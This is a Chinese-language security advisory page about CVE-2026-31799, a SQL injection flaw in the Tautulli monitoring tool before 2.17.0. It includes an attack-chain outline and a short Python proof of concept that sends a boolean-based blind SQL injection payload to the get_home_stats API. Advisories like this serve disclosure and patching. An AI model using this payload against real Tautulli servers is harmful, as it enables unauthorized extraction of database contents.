IPBUF安全漏洞报告
English
CVE-2026-31799 CVSS 4.9 中危

CVE-2026-31799 Tautulli SQL注入漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2026-31799
漏洞类型
SQL注入
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Tautulli

相关标签

SQL注入TautulliCVE-2026-31799布尔盲注SQLite

漏洞概述

Tautulli是一款用于Plex Media Server的Python监控工具。在2.17.0版本之前,该工具存在SQL注入漏洞。受影响的接口为/api/v2?cmd=get_home_stats,涉及参数包括section_id、user_id、before和after。漏洞产生的原因是代码直接使用Python的字符串格式化方式将用户输入拼接到SQL查询中,未进行参数化处理。拥有Tautulli管理员API密钥的攻击者可以利用此漏洞注入任意SQL语句,并通过布尔盲注技术窃取SQLite数据库中的任何敏感数据。该问题已在2.17.0版本中修复。

技术细节

该漏洞源于Tautulli在处理/api/v2接口的get_home_stats命令时,对传入的查询参数缺乏有效的安全过滤。开发人员使用了Python的百分号(%)字符串格式化方法来构建SQL语句,例如直接将section_id、user_id等参数拼接到SQL查询字符串中,而不是使用安全的参数化查询机制。这种不安全的编码方式使得攻击者可以通过构造恶意的输入值来改变原始SQL语句的逻辑结构。由于漏洞位于管理员权限的API接口下(PR:H),利用该漏洞的前提是获取到管理员API密钥。攻击者通过在参数中注入SQL语法(如单引号闭合、AND条件判断等),可以实施布尔盲注攻击。虽然攻击者无法直接在响应中看到查询结果,但可以通过构造返回True或False的SQL条件,根据HTTP响应的差异逐位推断出数据库中的敏感信息。受影响的参数before和after自2.14.2版本起引入风险,而section_id和user_id则自2.1.0-beta版本起存在风险。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网络上运行的Tautulli服务,并确认其版本处于受影响范围内(小于2.17.0)。
STEP 2
步骤2:获取凭证
由于漏洞需要高权限,攻击者必须通过其他手段获取Tautulli的管理员API密钥。
STEP 3
步骤3:构造Payload
攻击者针对get_home_stats接口的参数(如section_id)构造包含SQL语法(如AND 1=1)的恶意Payload。
STEP 4
步骤4:盲注攻击
发送请求并根据响应的差异(如状态码、内容长度或响应时间)判断SQL语句的真假,逐位提取数据库数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:8181/api/v2" admin_api_key = "YOUR_ADMIN_API_KEY" # High privileges required # Vulnerable parameters: section_id, user_id, before, after # Payload for boolean-based blind SQL injection # Example: Checking if the first character of the SQLite version is '3' payload = "1' AND substr(sqlite_version(), 1, 1) = '3'-- " params = { "cmd": "get_home_stats", "apikey": admin_api_key, "section_id": payload # Injecting into section_id } try: response = requests.get(target_url, params=params) if response.status_code == 200: # Analyze response content to determine True/False condition print("Request sent. Check response content/time for boolean inference.") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Tautulli 2.14.2 至 2.17.0 之前 (before, after参数)
Tautulli 2.1.0-beta 至 2.17.0 之前 (section_id, user_id参数)

防御指南

临时缓解措施
如果无法立即升级,建议将Tautulli部署在受信任的内网环境中,并通过防火墙严格限制对外暴露的API接口访问权限,同时立即重置可能泄露的管理员API密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表